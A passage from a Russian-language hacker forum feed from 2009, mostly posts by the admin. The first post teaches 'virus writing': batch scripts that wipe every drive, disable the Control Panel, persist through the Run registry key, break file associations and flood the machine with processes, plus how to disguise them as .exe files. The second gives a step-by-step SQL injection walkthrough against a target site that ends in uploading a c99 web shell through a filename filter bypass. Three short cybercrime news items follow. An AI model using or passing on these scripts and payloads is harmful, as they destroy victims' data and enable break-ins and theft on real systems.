говоря. Теперь я научу вас некоторым тонкостям вирусописательсва. Допустим, вы уже сделали вирус, но выглядит он довольно некрасиво. Ну кто откроет непонятный файл? Вы правы, таких людей на свете не много. Как же изменить формат из .bat на .exe и добавить иконку. Очень легко (Нужно чтобы на компьютере был WinRAR). Находим любой вирус с расширением .bat, нажимаем на него правой кнопкой, жмем «Добавить в архив…». Ставим галочку «Создать SFX-архив», выбираем вкладку дополнительно, и кликаем на кнопку «Параметры SFX…». В окне «Выполнить после распаковки» пишем названия вируса (пример Virus.bat) а в окне «Текст и графика» далее «Загрузить значок SFX из фала». Жмем «Обзор» и ищем любой значок формата .ico. Теперь жмем ОК. Готово)) Формат .exe, а не .bat, как нам и надо было. Теперь можно делать с вирусами что угодно. А что именно, решать уже вам. Хотите научиться еще командам, которыми можно просто добить нашего «лоха», открываем wwwGoogle.ru, пишем bat вирусы и жмем «Искать». </p> <p>Допустим, вы написали вирус, который будет портить открытую от папок информацию и немного вредить:</p> <p>del C:\ *.* /q<br />del D:\ *.* /q<br />del E:\ *.* /q<br />del F:\ *.* /q<br />time 00:00<br />date 13.06.23<br />del *.* /q</p> <p>Готово? – спросите вы. Нет. Нужно его закончить. Новая команда «@echo off» вводиться в начале нашего вируса и скрывает все, что в нем происходит в дальнейшем. Одним словом, не дадим пользователю увидеть, что случилось. Еще добавив после каждой команды простенькое, но очень эффективное действие, как «&gt;nul» к примеру «time 00:00 &gt;nul», мы скроем сточку. Итак, можно усовершенствовать наш вирус:</p> <p>@echo off<br />del C:\ *.* /q &gt;nul<br />del D:\ *.* /q &gt;nul<br />del E:\ *.* /q &gt;nul<br />del F:\ *.* /q &gt;nul<br />time 00:00 &gt;nul<br />date 13.06.23 &gt;nul<br />del *.* /q &gt;nul</p> <p>Вот, теперь наш вирус готов. Сохраняем, конвертируем, а вот, что дальше с ним делать — ваше дело. Кстати, есть отличная программа для конвертирования .bat в .exe, она работает намного лучше WinRAR'а, называется она «Bat to exe converter». Скачать ее можно в интернете, она бесплатная. Итак, вернемся к вирусо-писательству.<br />%SystemRoot%/system32/rundll32 user32, SwapMouseButton<br />Данная строчка меняет клавиши мыши местами. Можно с кого-то прикольнуться,&#160; пока он въедет, что случилось, пройдет время (если он совсем юзер), для особоодаренных скажу, если вы ввели это у себя отключить довольно просто: «Панель Управления», «Принтеры и другое оборудование», «Мышь» и снимаем первую галочку.<br />Итак, дальше поехали дальше:</p> <p>:x ;<br />Start mspaint<br />goto x ;</p> <p>Очень неплохая строка для нагрузки слабеньких машин. Команда открывает Paint, причем очень быстро. Раз 60 до того как вы поймете, что случилось и закроете программу. Попробуйте ввести вместо mspaint любые строки программ... Работает)) Можно использовать&#160; по несколько таких команд до полного торможения компьютера жертвы. Новый скрипт:</p> <p>copy &quot;&quot;%0&quot;&quot; &quot;%SystemRoot%\system32\File.bat&quot; <br />reg add &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&quot; /v &quot;Filel&quot; /t REG_SZ /d &quot;%SystemRoot%\system32\File.bat&quot; /f <br />reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f</p> <p>Очень жестокая команда: добавляет программу в автозагрузку ОС. Не советую проверять на вашем компьютере. Не останавливаемся, а едем дальше))</p> <p>assoc .lnk=.txt &gt;nul<br />assoc .exe=.mp3 &gt;nul</p> <p>Данными двумя строками мы делаем, весьма тяжелый вред компьютеру жертвы. Он меняет расширения всех файлов на компьютере с .lnk в .txt и&#160; .exe в .mp3. То есть все ярлыки, открываются в блокноте, а программы, все, в плеере. Круто, да? Теперь прочтите нижний код и если вы поняли, в чем суть вируса, поздравляю вас вы закончили базовый курс, от adminа, вирусо-писательства. Если же нет. Читаем все заново))<br />@echo off<br />%SystemRoot%/system32/rundll32 user32, SwapMouseButton &gt;nul<br />time 0:00 &gt;nul<br />date 13.06.23 &gt;nul<br />label C:IDIOT &gt;nul<br />label D:URAK &gt;nul<br />label E:SUKA &gt;nul<br />label F:GANDON &gt;nul<br />copy %0 C:\Open.bat &gt;nul<br />copy %0 D:\Open.bat &gt;nul<br />copy %0 E:\Open.bat &gt;nul<br />copy %0 F:\Open.bat &gt;nul<br />net user &quot;Idiot you Hacked&quot; /add &gt;nul<br />net user &quot;Bitch you Hacked&quot; /add &gt;nul<br />net user &quot;Durak you Hacked&quot; /add &gt;nul<br />net user &quot;Kritin you Hacked&quot; /add &gt;nul <br />net user &quot;Gavno you Hacked&quot; /add &gt;nul<br />md 1 &gt;nul<br />md 2 &gt;nul<br />md 3 &gt;nul<br />md 4 &gt;nul<br />md 5 &gt;nul<br />md 6 &gt;nul<br />md 7 &gt;nul<br />md 8 &gt;nul<br />md 9 &gt;nul<br />md 10 &gt;nul<br />md 11 &gt;nul<br />md 12 &gt;nul<br />md 13 &gt;nul<br />md 14 &gt;nul<br />md 15 &gt;nul<br />md 16 &gt;nul<br />md 17 &gt;nul<br />md 18 &gt;nul<br />md 19 &gt;nul<br />md 20 &gt;nul<br />md 21 &gt;nul<br />md 22 &gt;nul<br />md 23 &gt;nul<br />md 24 &gt;nul<br />md 25 &gt;nul<br />md 26 &gt;nul<br />md 27 &gt;nul<br />assoc .lnk=.txt &gt;nul<br />assoc .exe=.txt &gt;nul<br />:x ; <br />Start mspaint <br />goto x ; <br />:x ; <br />Start Calc <br />goto x ; <br />copy &quot;&quot;%0&quot;&quot; &quot;%SystemRoot%\system32\Cool.bat&quot; &gt;nul<br />reg add &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&quot; /v &quot;Cool&quot; /t REG_SZ /d &quot;%SystemRoot%\system32\Cool.bat&quot; /f &gt;nul<br />reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f &gt;nul<br />del %0 &gt;nul<br />На этом мои уроки закончены. Надеюсь, вам понравилось! С уважением admin!<br />P.S. Когда я первый раз выложил эту статью в интернет. На мой ICQ прийшло около 70 сообщений с просьбой ломануть мыло)) Писал все сам, статья моя! =)</p> mybb@mybb.ru (admin) Tue, 15 Dec 2009 16:42:03 +0300 https://hackerforum.0pk.me/viewtopic.php?pid=7#p7 https://hackerforum.0pk.me/viewtopic.php?pid=6#p6 <p>Доброго времени суток, господа. Вот решил написать статейку по доволе таки распространенной в наше время атаке SQL-Injection и по заливке шелла (shell) на взломанный сайт. Статей таких, конечно же много, но еще одна, думаю, не помешает, что не понятно там, может быть станет хоть чуток яснее здесь.</p> <p>Итак, приступим.</p> <p>Допустим, имеем некий сайт target.us, уязвим на эту атаку. Прогуляемся по ссылкам, ищем линк вида target.us/lol.php?id=5 (вместо 5 там может быть любое другое число, идентификатор). Теперь в конец подставим кавычку «’», target.us/lol.php?id=5’ и жмем пимпу Enter, смотрим и если сайт таки уязвим, видим ошибку «You have an error in your SQL syntax bla bla bla» . Теперь чтобы убедится, попробуем выполнить арифметическую операцию: target.us/lol.php?id=5-1/* (/* - это знак комментария, нужен чтоб отсеять все ненужное что стоит за ним). И что мы видим? Операция выполнилась target.us/lol.php?id=4, (5-1=4) значит все ОК. Теперь начнем подбирать количество полей в БД (базе данных), можно использовать конструкцию вида union select1,2,3,4, нам будет выдавать ошибки пока не угадаем правильное число (то есть постоянно увеличиваем на 1, union select1,2,3,4, 5 ,6 и т.д.), а можно воспользоваться конструкцией order by вот так: order by12, чтоб не вписывать сразу кучу чисел (полей то может быть и 50). </p> <p>target.us/lol.php?id=5+order+by+12 – Нет ошибки, значит полей или больше 12-ти или 12. target.us/lol.php?id=20 – ошибка. Значит полей меньше 20-ти. И так пока не достигнем результата. Через union select будет выглядеть так: target.us/lol.php?id=-5+union+select+1,2,3,4,5,6,7,8,9,10,11,12/* и т.д. Чтобы узнать версию MySQL, которая установлена на сервере, выполняем запрос: target.us/lol.php?id=-5+union+select+1,2,3,VERSION(),5,6,7,8,9,10,11,12/* (так же мжно узнать и пользователя через команду USER()) и в браузер прямо на странице сайта вывалит версию БД. Главное глянуть 5 или 4-я. Так как в 5-й присутствует INFORMATION_SCHEMA_TABLES, там подбирать вам будет легче. </p> <p>Теперь узнаем имена имена таблиц. Если версия БД 4-я, то имена будем угадывать, составляем запрос вида target.us/lol.php?id=-5+union+select+1,2,3,admin,5,6,7,8,9,10,11,12+from+Users/* (Users возможное имя БД), если угадали имя и таблицу (Users) то получите вывод с именами в браузер, и так перебирать пока не получите результат. Если же версию «мускула» (MySQL) 5-я, то там вам будет проще, составляем запрос вида: target.us/lol.php?id=-5+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12+from+ INFORMATION_SCHEMA.TABLES/*&#160; и так же увидим вывод имен в браузер. Допустим имя таблицы admin и нам нужна колонка с паролями (passwords) . Составим запрос: : target.us/lol.php?id=-5+union+select+1,2,3, passwords,5,6,7,8,9,10,11,12+from+admin /*.Точно так же подбирается и логин, можно сделать все красивее дав команду target.us/lol.php?id=-5+union+select+1,2,3, concat_ws(0x3a,passwords,0x3a,login),5,6,7,8,9,10,11,12+from+admin /*. Получим вывод вида логин;пароль (например, admin;qwerty) . В разных случаях может быть по-разному, посему придется немного думать. Если получаем хэш (hash) пароля – то идем брутить, если просто вывод пароля – то радуемся. Итак, логин/пароль мы получили, логинимся в систему. Ну имеем мы права админа, ну так же не интересно хочется и по серву погулять. А вот для этого скачиваем шелл, например c99madshell, наверняка он будет иметь расширение txt, поэтому меняем на php. Залить на сервер можно, например, через какую либо форму аплоада (upload), через которую админы что-либо заливают (картинки например). Но бывает так, что стоит фильтр, то есть файл php мы залить ну никак не можем. Тогда идем на хитрость, делаем так c99madshell.php.jpg Фильтр такое может пропустить, если пропустил – то все супер! Переходим в браузере сюда target.us/c99madshell.php.jpg и радуемся что шелл у нас залит, можем гулять по серву! Если сервер на ОС UNIX , то неплохо было бы знать еще и некоторые ее команды. </p> <p>Это все, тренируйтесь господа новички! Желаю удачи в ваших нелегких начинаниях!</p> <p>P.S. Видеоурок по взлому лежит здесь: <a href="https://www.hackzone.ru/files/get/id/561/Videourok+po+atake+Sql-Injection.htm" rel="nofollow" target="_blank">https://www.hackzone.ru/files/get/id/56 &#8230; ection.htm</a></p> mybb@mybb.ru (admin) Tue, 15 Dec 2009 16:33:38 +0300 https://hackerforum.0pk.me/viewtopic.php?pid=6#p6 https://hackerforum.0pk.me/viewtopic.php?pid=5#p5 <p>Евгений Касперский убежден, что победа над хакерами и прочими Интернет-преступниками возможна, но только при совместных усилиях всех государств. </p> <p>Глава &quot;Лаборатории Касперского&quot; пояснил, что после того, как государства на самом высоком уровне придут к идее совместного противостояния киберпреступности, то &quot;после этого лет через 50 наступит счастье&quot;. &quot;А до тех пор вам придется пользоваться продукцией имени меня&quot;, - огорчил всех собравшихся на его выступление в Новосибирске Евгений Касперский, который на сегодняшний день российский программист признается одним из ведущих мировых специалистов в области защиты от вирусов. </p> <p>По мнению разработчика антивирусного программного обеспечения, высшие государственные чиновники уже делают первые шаги в правильном направлении, но, к сожалению, пока еще делают это лишь в пределах национальных границ. </p> <p>&quot;Они пока не понимают того, что решать проблемы Интернет-преступности и в будущем - Интернет-терроризма необходимо только совместно, потому что у Интернета нет границ, и тем негодяям, которые орудуют в сети, все равно, где находится граница и следующий айпишник&quot;, - отметил Касперский. </p> <p>Он также считает, что &quot;хотя компьютерная преступность интернациональна, можно говорить о центрах ее наибольшей активности&quot;. </p> <p>Среди центров криминальной активности компьютерных вредителей Евгений Касперский назвал Китай, который держит &quot;пальму первенства&quot; среди всех стран мира. На втором месте – Латинская Америка. На южноамериканском континенте особо выделяется Бразилия. А на третьем месте - Россия, Украина, Прибалтика, Казахстан - страны с большим числом русскоязычного населения. </p> <p>securitylab.ru</p> mybb@mybb.ru (admin) Tue, 15 Dec 2009 16:18:59 +0300 https://hackerforum.0pk.me/viewtopic.php?pid=5#p5 https://hackerforum.0pk.me/viewtopic.php?pid=4#p4 <p>Сайт газеты &quot;Московский комсомолец&quot; mk.ru подвергся хакерской атаке, в результате которой было уничтожено все его содержимое, включая редакторский интерфейс и архив за все годы существования сайта, пишет в пятницу газета &quot;Коммерсант&quot; со ссылкой на главного редактора &quot;МК&quot; Павла Гусева.<br />По его словам, атака началась в ночь на четверг, и хакерам хватило десяти минут, чтобы уничтожить весь сайт.<br />&quot;Когда наши работники заметили, что происходит, они выключили всю систему, но было уже поздно. У нас, конечно, были системы безопасности, но хакерам удалось уничтожить и их&quot;, - говорит главный редактор.<br />Подозрений по поводу организаторов акции у Гусева нет, пока только удалось выяснить, что атака велась с серверов, находящихся в Корее. &quot;Действовала какая-то хакерская организация или даже спецслужбы&quot;, - считает Павел Гусев. От оценки ущерба, нанесенного газете, главный редактор воздерживается, но говорит, что &quot;Московский комсомолец&quot; понес &quot;очень серьезные убытки&quot;.<br />Сейчас специалисты редакции восстанавливают работу сайта, а пока по адресу mk.ru находится блог с материалами.</p> mybb@mybb.ru (admin) Tue, 15 Dec 2009 15:46:38 +0300 https://hackerforum.0pk.me/viewtopic.php?pid=4#p4 https://hackerforum.0pk.me/viewtopic.php?pid=2#p2 <p>&quot;Nopir.B&quot; – так назвали недавно появившегося червя, который делает популярные файлообменные p2p-сети небезопасными. Сразу же после заражение компьютера червь проверяет все накопители на наличие MP3 файлов и удаляет их. <br />Первым об опасности сообщил производитель антивирусов Sophos. Согласно заявлению компании, Nopir. B распространился незначительно, однако с помощью своей маскировки он может принести немало хлопот.<br />В сетях червь выглядит как кряк для популярной программы копирования DVD. Система инфицируется после запуска &quot;.exe&quot; файла.<br />Для своей защиты Nopir.B блокирует доступ к системному управлению и деактивирует менеджер задач и средства регистрации. Затем начинается удаление MP3.</p> mybb@mybb.ru (admin) Tue, 15 Dec 2009 15:32:51 +0300 https://hackerforum.0pk.me/viewtopic.php?pid=2#p2